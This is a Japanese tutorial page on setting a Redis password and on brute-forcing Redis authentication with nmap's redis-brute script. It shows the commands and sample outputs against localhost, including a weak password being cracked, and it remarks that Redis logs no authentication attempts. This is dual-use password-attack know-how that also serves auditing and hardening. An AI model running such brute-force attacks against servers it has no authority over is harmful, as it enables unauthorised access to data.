nmapでredisのパスワードをブルートフォースアタックする

提供: セキュリティ
移動: 案内検索
スポンサーリンク

redisとは、KVS(Key Value Store)の1つです。redisのデフォルトのポート番号は6379です。redisは、パスワードでアクセスを保護できます。nmap NSEスクリプトのredis-bruteを利用して、redisに対してブルートフォースアタック(ブルートフォース攻撃、総当たり攻撃)をして、パスワードを探ることができます。

読み方

nmap
えぬまっぷ
redis
れでぃす

概要

redisは、パスワード認証に対応しています。redisを利用する場合には、パスワード認証を有効にしましょう。

redisにパスワードを設定する

redisサーバにパスワードを設定するには、 redis.conf に設定します。 FreeBSD の場合は、 /usr/local/etc/redis.conf です。

requirepass パスワード

パスワードを設定したら、redisを再起動します。

$ sudo service redis onerestart
# or
$ sudo service redis restart

認証のかかっているredisへのアクセス

認証のかかっている redis にアクセスする場合、redis-cliでは、 auth コマンドでパスワード認証を行ってから、データにアクセスします。

$ redis-cli
127.0.0.1:6379> get a
(error) NOAUTH Authentication required.
127.0.0.1:6379> auth
(error) ERR wrong number of arguments for 'auth' command
127.0.0.1:6379> help
redis-cli 3.0.3
Type: "help @<group>" to get a list of commands in <group>
      "help <command>" for help on <command>
      "help <tab>" to get a list of possible help topics
      "quit" to exit
127.0.0.1:6379> help auth
 
  AUTH password
  summary: Authenticate to the server
  since: 1.0.0
  group: connection
 
127.0.0.1:6379> auth a
(error) ERR invalid password
127.0.0.1:6379> auth foobared
OK
127.0.0.1:6379> get a
"100"

使い方

nmap --script redis-brute ip -p 6379

簡単なパスワードでクラックできた例

以下の例は、パスワードが1234という簡単なパスワードを設定している場合です。

$ nmap -p 6379 127.0.0.1 --script redis-brute
 
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-11 22:20 JST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00027s latency).
PORT     STATE SERVICE
6379/tcp open  unknown
| redis-brute:
|   Accounts:
|     1234 - Valid credentials
|_  Statistics: Performed 609 guesses in 1 seconds, average tps: 609
 
Nmap done: 1 IP address (1 host up) scanned in 0.72 seconds

パスワードクラックに失敗した例

長いパスワードを用いた場合、失敗しました。

$ nmap -p 6379 127.0.0.1 --script redis-brute
 
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-11 22:20 JST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00031s latency).
PORT     STATE SERVICE
6379/tcp open  unknown
| redis-brute:
|   Accounts: No valid accounts found
|_  Statistics: Performed 5000 guesses in 1 seconds, average tps: 5000
 
Nmap done: 1 IP address (1 host up) scanned in 2.15 seconds

パスワードが未設定のときの例

パスワードが設定されていないときは、以下のとおりです。認証に関して、何も表示してくれません。

$ nmap -p 6379 127.0.0.1 --script redis-brute
 
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-11 22:35 JST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00028s latency).
PORT     STATE SERVICE
6379/tcp open  unknown
 
Nmap done: 1 IP address (1 host up) scanned in 0.43 seconds

ファイルへの書き出し

nmapには、結果を指定したフォーマットで書き出すことができます。 ただし、形式によって、書き出される情報と出されないものがあります。 grep形式(-oG)では、パスワードがわかってもで、ファイルには書きだされません。 XML形式(-oX)では、パスワードがXMLに書きだされます。

ログ

/var/log/redis.log を見る限り、redisは、認証に関するログを出さないようですが・・・。

関連項目




スポンサーリンク